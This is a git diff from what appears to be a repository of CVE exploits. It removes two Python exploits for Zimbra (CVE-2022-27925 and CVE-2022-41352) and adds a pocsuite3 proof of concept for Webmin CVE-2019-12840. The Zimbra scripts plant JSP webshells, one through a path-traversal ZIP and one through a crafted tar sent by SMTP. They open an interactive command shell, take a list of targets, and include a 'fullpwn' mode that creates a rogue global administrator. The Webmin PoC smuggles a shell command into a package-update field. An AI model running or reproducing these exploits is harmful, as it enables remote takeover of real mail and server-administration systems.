diff --git a/cve/Zimbra/2022/CVE-2022-27925/exploit.py b/cve/Zimbra/2022/CVE-2022-27925/exploit.py deleted file mode 100644 index 3a952699e36ac6d90b3c6be43dcc24a966d683fa..0000000000000000000000000000000000000000 --- a/cve/Zimbra/2022/CVE-2022-27925/exploit.py +++ /dev/null @@ -1,144 +0,0 @@ -import argparse -import zipfile -import io -import random -import string -import requests -from urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) - - -webshell_payload = r'<%@ page import="java.util.*,java.io.*"%><%%>
<%if (request.getParameter("cmd") != null) {    out.println("Command: " + request.getParameter("cmd") + "
"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>
' -char_set = string.ascii_uppercase + string.digits -webshell_name = ''.join(random.sample(char_set*6, 6)) + '.jsp' -#vuln_paths = ["service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd", "service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1"] -BLUE = "\033[1;34m" -CYAN = "\033[1;36m" -GREEN = "\033[0;32m" -RED = "\033[31m" - -ITERATE = False - - -def banner(): - return CYAN+''' - _____ _ __ -/__ / (_)___ ___ / /_ _________ _ - / / / / __ `__ \/ __ \/ ___/ __ `/ - / /__/ / / / / / / /_/ / / / /_/ / -/____/_/_/ /_/ /_/_.___/_/ \__,_/ - CVE-2022-27925 - ''' - -# FIX URL -def fix_url(url): - if not url.startswith('https://'): - url = 'https://' + url - url = url.rstrip("/") - return url - -def build_zip(jsp, path): - zip_buffer = io.BytesIO() - zf = zipfile.ZipFile(zip_buffer, 'w') - zf.writestr(path, jsp) - zf.close() - return zip_buffer.getvalue() - -def exploit(host, payload, cmd): - headers = {'content-Type': 'application/x-www-form-urlencoded'} - try: - r = requests.post( - host + '', data=payload, headers=headers, verify=False, timeout=20) - r = requests.post( - host + '/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1', data=payload, headers=headers, verify=False, timeout=20) - print(GREEN + '[!] Testing webshell') - r = requests.get(host + '/zimbraAdmin/' + webshell_name + - '?cmd=' + cmd, verify=False, timeout=20) - if "Josexv1" in r.text: - print(CYAN + '[+] Webshell works!!') - print(GREEN + '[+] WebShell location: ' + - host + '/zimbraAdmin/' + webshell_name + "") - r = requests.get(host + '/zimbraAdmin/' + webshell_name + - '?cmd=uname+-a' , verify=False, timeout=20) - print(BLUE + '[+] Uname -a output: '+ CYAN + r.text.split('
') - [1].split('
')[0].strip()) - return True - else: - print(RED + '[-] Target not vulnerable') - return False - except: - print(RED + '[!] Connection error') - -def ping_url(url): - try: - r = requests.get(url, verify=False, timeout=10) - if r.status_code == 200: - print(CYAN + '[!] Target is up!') - return True - else: - print(RED + '[!] Target is down! Next >> \n') - return False - except: - return False - -def main(url): - paths = [ - '../../../../mailboxd/webapps/zimbraAdmin/', - '../../../../jetty_base/webapps/zimbraAdmin/', - '../../../../jetty/webapps/zimbraAdmin/'] - work = 0 - try: - for num in range(0, 3): - print( - GREEN + '[!] Creating malicious ZIP path: ' + BLUE + paths[num]) - zippedfile = build_zip(webshell_payload, paths[num]+webshell_name) - print(GREEN + '[!] Exploiting!') - if exploit(url, zippedfile, 'echo "Josexv1"'): - if args.target: - answer = input( - CYAN + '[+] Want to interact with webshell via terminal? (y/n): ') - if answer == "y": - print(GREEN + '[!] Sending commands to: ' + - url + '/zimbraAdmin/' + webshell_name) - while True: - cmd = input(GREEN + "[+] $ > " + BLUE) - if cmd == "exit": - break - req = requests.get( - url + "/zimbraAdmin/" + webshell_name + "?cmd=" + cmd, verify=False, timeout=20) - try: - print(CYAN + req.text.split('
') - [1].split('
')[0].strip()) - except: - print(RED + "[!] Error ?") - else: - print(RED + '[!] Bye!') - exit() - except: - print(RED + '[!] URL Error') - ITERATE = True - -if __name__ == "__main__": - print(banner()) - parser = argparse.ArgumentParser() - parser.add_argument( - '-t', '--target', help='URl with protocol HTTPS', default=False) - parser.add_argument("-l", "--list", action="store", - help="List of targets", default=False) - args = parser.parse_args() - if args.target is not False: - url = fix_url(args.target) - print(GREEN + '[!] Testing URL: '+ url) - if ping_url(url): - main(url) - elif args.list is not False: - with open(args.list, "rb") as targets: - for target in targets: - target = target.rstrip().decode("utf-8") - url = fix_url(target) - print(GREEN + '[!] Testing URL: '+ url) - if ping_url(url): - main(url) - else: - parser.print_help() - parser.exit() diff --git a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py deleted file mode 100644 index d440f7e6ad590541df5cfcb09723f758a5e5975f..0000000000000000000000000000000000000000 --- a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py +++ /dev/null @@ -1,236 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import smtplib -import argparse -from time import sleep -from email.mime.multipart import MIMEMultipart -from email.mime.application import MIMEApplication -from email.mime.text import MIMEText -import requests -from requests.packages.urllib3.exceptions import InsecureRequestWarning - -# CONFIGURATION -#---------------------------------- -TARGET = 'mail.test.org' -WEBSHELL_PATH = '/public/jsp' -WEBSHELL_NAME = 'Startup1_3.jsp' -ATTACHMENT = 'payload.tar' -SENDER = 'test@test.org' -RECIPIENT = 'admin@test.org' - -EMAIL_SUBJECT = 'CVE-2022-41352' -EMAIL_BODY = 'Just testing.

Don\'t mind me.

' -#---------------------------------- - -# Only change this if zimbra was not installed in the default location -UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra' - - -def create_tar_payload(payload, payload_name, payload_path, lnk='startup'): - # Block 1 - link = lnk.encode() - mode = b'0000777\x00' # link permissions - ouid = b'0001745\x00' # octal uid (997) - ogid = b'0001745\x00' # octal gid - lnsz = b'00000000000\x00' # file size (link = 0) - lmod = b'14227770134\x00' # last modified (octal unix) - csum = b' ' # checksum = 8 blanks - type = b'2' # type (link = 2) - targ = payload_path.encode() # link target - magi = b'ustar \x00' # ustar magic bytes + version - ownu = b'zimbra' # user owner - owng = b'zimbra' # group owner - vers = b'\x00'*8 + b'\x00'* 8 # device major and minor - pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100) - - raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod - raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref - # calculate and insert checksum - csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:] - raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2 - # pad block to 512 - raw_b1 += b'\00'*(512-len(raw_b1)) - - # Block 2 - mode = b'0000644\x00' # file permissions - file = f'{lnk}/{payload_name}'.encode() - flsz = oct(len(payload))[2:] # file size - csum = b' ' # checksum = 8 blanks - type = b'0' # type (file = 0) - targ = b'\x00'*100 # link target = none - - raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod - raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref - # calculate and insert checksum - csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:] - raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2 - # pad block to 512 - raw_b2 += b'\00'*(512-len(raw_b2)) - - - # Assemble - raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512)) - raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks - - return raw_tar - -# Update this if you want to use a legit email account for sending the payload -def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name): - msg = MIMEMultipart() - msg['Subject'] = subject - msg['From'] = sender - msg['To'] = recipient - - message = MIMEText(body, 'html') - msg.attach(message) - - att = MIMEApplication(attachment) - att.add_header('Content-Disposition', 'attachment', filename=attachment_name) - msg.attach(att) - - try: - print(f'>>> Sending payload') - smtp_server = smtplib.SMTP(target,25) - smtp_server.sendmail(sender, recipient, msg.as_string()) - print(f'>>> Payload delivered') - except Exception as e: - print(f'[!] Failed to send the mail: {e}') - sys.exit(1) - -def verify_upload(target, shell, path): - print(f'>>> Verifying upload to {path}/{shell} ...') - sleep(5) # give the server time to process the email - resp = requests.get(f'https://{target}{path}/{shell}', verify=False) - if resp.status_code == 200: - print(f'>>> [PWNED] Upload successful!') - else: - print(f'>>> Upload unsuccesful :(') - sys.exit(1) - -def create_new_zimbra_admin(target, shell, path): - url = f'https://{target}' - pw = 'Pwn1ng_Z1mbra_!s_fun' - print(f'>>> Adding a new global administrator') - if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'): - sys.exit(0) - admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ') - r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False) - r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False) - - print(f'>>> Login to {url}:7071/zimbraAdmin/ with:') - print(f'>>> Email : {admin}') - print(f'>>> Password : {pw}') - - -def main(args): - global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY - - # Kali JSP WebShell - payload = b'
<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %>
<%=output %>
' - - # Using this instead of argparse default values to allow easy manual configuration as well - if args.payload: - try: - with open(args.payload, 'rb') as f: - payload = f.read() - except Exception as e: - print(f'Failed to read {args.payload}: {e}') - sys.exit(1) - print(f'>>> Using custom payload from: {args.payload}') - else: - print(f'>>> Using default payload: JSP Webshell') - if args.path: - WEBSHELL_PATH = args.path - if args.file: - WEBSHELL_NAME = args.file - if args.attach: - ATTACHMENT = args.attach - - tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH) - - print(f'>>> Assembled payload attachment: {ATTACHMENT}') - print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}') - if args.mode == 'manual': - with open(ATTACHMENT, 'wb') as f: - f.write(tar) - print(f'>>> Attachment saved locally.') - sys.exit(0) - - if args.target: - TARGET = args.target - - print(f'>>> Targeting {TARGET}') - - if args.sender: - SENDER = args.sender - if args.recip: - RECIPIENT = args.recip - if args.subject: - EMAIL_SUBJECT = args.subject - if args.body: - try: - with open(args.body, 'rb') as f: - EMAIL_BODY = f.read().decode() - except Exception as e: - print(f'Failed to read {args.body}: {e}') - sys.exit(1) - print(f'>>> Using custom email body from: {args.body}') - - - smtp_send_file( TARGET, - SENDER, - RECIPIENT, - EMAIL_SUBJECT, - EMAIL_BODY, - tar, - ATTACHMENT ) - - requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - - verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) - - print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}') - if args.mode == 'auto': - sys.exit(0) - - if args.payload: - print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account') - else: - create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) - - sys.exit(0) - -if __name__ == '__main__': - epi = ''' -Alternatively, edit the script to change the default configuration. - -The available modes are: - - manual : Only create the payload - you have to deploy the payload yourself. - auto : Create a webshell and deploy it via SMTP. - fullpwn : After deploying a webshell, add a new global mail administrator. -''' - - p = argparse.ArgumentParser( - description = 'CVE-2022-41352 Zimbra RCE', - formatter_class = argparse.RawDescriptionHelpFormatter, - epilog = epi - ) - p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below') - - p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")') - p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)') - p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")') - p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")') - p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")') - p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")') - p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)') - p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")') - p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")') - - args = p.parse_args() - - main(args) diff --git "a/cve/webmin/2019/CVE-2019-12840/POC\346\210\220\345\212\237\345\233\276\347\244\272.png" "b/cve/webmin/2019/CVE-2019-12840/POC\346\210\220\345\212\237\345\233\276\347\244\272.png" new file mode 100644 index 0000000000000000000000000000000000000000..d3fddbb6bf99e979f8ca9d103a74c46cb8d4493a Binary files /dev/null and "b/cve/webmin/2019/CVE-2019-12840/POC\346\210\220\345\212\237\345\233\276\347\244\272.png" differ diff --git a/cve/webmin/2019/CVE-2019-12840/README.md b/cve/webmin/2019/CVE-2019-12840/README.md new file mode 100644 index 0000000000000000000000000000000000000000..c3b773dc6bb4234cf784f61f6a9a2e955fb87fee --- /dev/null +++ b/cve/webmin/2019/CVE-2019-12840/README.md @@ -0,0 +1,44 @@ +# CVE-2019-12840 Webmin认证后RCE + +## 漏洞分析 + +任何通过认证的用户在使用 Package Updates模块时,处理数据时 $cmd 字段被直接拼接到命令上,使其可以通过向后端 update.cgi 传递 post 类型数据来以root权限执行任意命令。 + +## 工具 + +### 语言 + +- Python 3 + +### 第三方库 + +- pocsuite3 + +- Beautifulsoup + +```bash +pip3 install pocsuite +pip3 install bs4 +``` + +## 使用步骤 + +可通过 vulhub 项目部署漏洞环境 docker 服务到本地 192.168.114.148:10000 + +依据现实情况更改 POC 中 user 和 password 字段,使得成功登录。 + +输入命令: + +```bash +pocsuite -r Webmin_package_update_none_0_remote_command_execute_php_poc_cve_2019_12840.py -u https://192.168.114.148:10000 +``` + +POC 中执行回显随机字符串命令: + +```python3 +cmd = "echo jjtsrlbnyyhm" +``` + +出现图示表示漏洞存在: + +![](./POC成功图示.png) diff --git a/cve/webmin/2019/CVE-2019-12840/Webmin_package_update_none_0_remote_command_execute_php_poc_cve_2019_12840.py b/cve/webmin/2019/CVE-2019-12840/Webmin_package_update_none_0_remote_command_execute_php_poc_cve_2019_12840.py new file mode 100644 index 0000000000000000000000000000000000000000..e1479e509711874c4c4d574ff4dc8631ec95de16 --- /dev/null +++ b/cve/webmin/2019/CVE-2019-12840/Webmin_package_update_none_0_remote_command_execute_php_poc_cve_2019_12840.py @@ -0,0 +1,90 @@ +from pocsuite3.api import Output, POCBase, register_poc, requests +from pocsuite3.lib.core.data import logger +from bs4 import BeautifulSoup + +class DemoPOC(POCBase): + vulID = 'CVE-2019-12840' + version = '1.0' + author = ['Picasso'] + vulDate = '2019-06-15' + createDate = '2019-06-15' + updateDate = '2020-08-24' + references = ['https://nvd.nist.gov/vuln/detail/CVE-2019-12840'] + name = '认证 Webmin 包更新远程命令执行漏洞' + appPowerLink = '' + appName = 'Webmin' + appVersion = '1.910' + vulType = 'PACKAGE UPDATE REMOTE COMMAND EXECUTE' + desc = '''Webmin 1.910以及之前版本,任何认证后的用户通过"Package Updates"模块可以以root权限执行任意命令. ''' + + def _login(self): + logger.info("logging in ...") + session = requests.Session() + session.cookies["testing"] = "1" + data = {'page': '', 'user': "root", 'pass': "admin"} + loginurl = self.url + "/session_login.cgi" + try: + res = session.post(loginurl, data=data, verify=False, allow_redirects=False) + if res.status_code == 302 and session.cookies["sid"] != None: + return session.cookies["sid"] + except: + logger.warn("Failed to login!!") + return "Failed" + + def _check(self,sid): + cmd = "echo jjtsrlbnyyhm" + logger.info("Sending command ...") + session = requests.Session() + referer = self.url + "/package-updates/update.cgi?xnavigation=1" + cookies = "Cookie: redirect=1; testing=1;sid=" + sid + headers = { + "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0", + "Connection": "close", + "Content-Type": "application/x-www-form-urlencoded", + "Referer": referer, + "X-Progressive-URL": self.url + "package-updates/update.cgi", + "X-Requested-From": "package-updates", + "X-Requested-From-Tab": "webmin", + "X-Requested-With": "XMLHttpRequest", + "Cookie": cookies + } + data = "mode=updates&search=&u=apt/apt&u=;" + cmd + ";/apt&ok_top=Update+Selected+Packages" + updateurl = self.url + "/package-updates/update.cgi" + try: + res = session.post(updateurl, data=data, headers=headers, verify=False) + if res.status_code == 200 and "jjtsrlbnyyhm" in res.text: + soup = BeautifulSoup(res.text, 'html.parser') + output = soup.find_all('pre') + return output + except Exception as e: + logger.warn(str(e)) + return False + + def _verify(self): + result = {} + sid = self._login() + if sid != "Failed": + sid = sid.strip() + else: + return self.parse_output(result) + + p = self._check(sid) + if p: + content = p + result['FileInfo'] = {} + result['FileInfo']['Filename'] = "Feedback" + result['FileInfo']['Content'] = content + return self.parse_output(result) + + def _attack(self): + return self._verify() + + def parse_output(self, result): + output = Output(self) + if result: + output.success(result) + else: + output.fail('target is not vulnerable') + return output + +register_poc(DemoPOC) diff --git a/cve/webmin/2019/yaml/CVE-2019-12840.yaml b/cve/webmin/2019/yaml/CVE-2019-12840.yaml new file mode 100644 index 0000000000000000000000000000000000000000..1112f170b607c15cf3044a62ddd9e8e4d7085ea3 --- /dev/null +++ b/cve/webmin/2019/yaml/CVE-2019-12840.yaml @@ -0,0 +1,19 @@ +id: CVE-2019-12840 +source: None +info: + name: Webmin是用于类Unix系统的基于Web的服务器管理控制面板。 + severity: High + description: | + Webmin 1.910以及之前版本,任何认证后的用户通过"Package Updates"模块可以以root权限执行任意命令. + scope-of-influence: + Webmin <= 1.910 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-12840 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2019-12840 + cwe-id: CWE-78 + cnvd-id: CNVD-2019-19305 + kve-id: None + tags: cve2019, rce \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 9fdf2623ad2b75e42ebfe295c9b979dea2af2983..16420afa62de66a6e7aa5a762ea4c0ed3b069038 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -168,6 +168,7 @@ cve: - CVE-2022-22963 - CVE-2022-31692 webmin: + - CVE-2019-12840 - CVE-2022-0824 - CVE-2022-36446 Zimbra: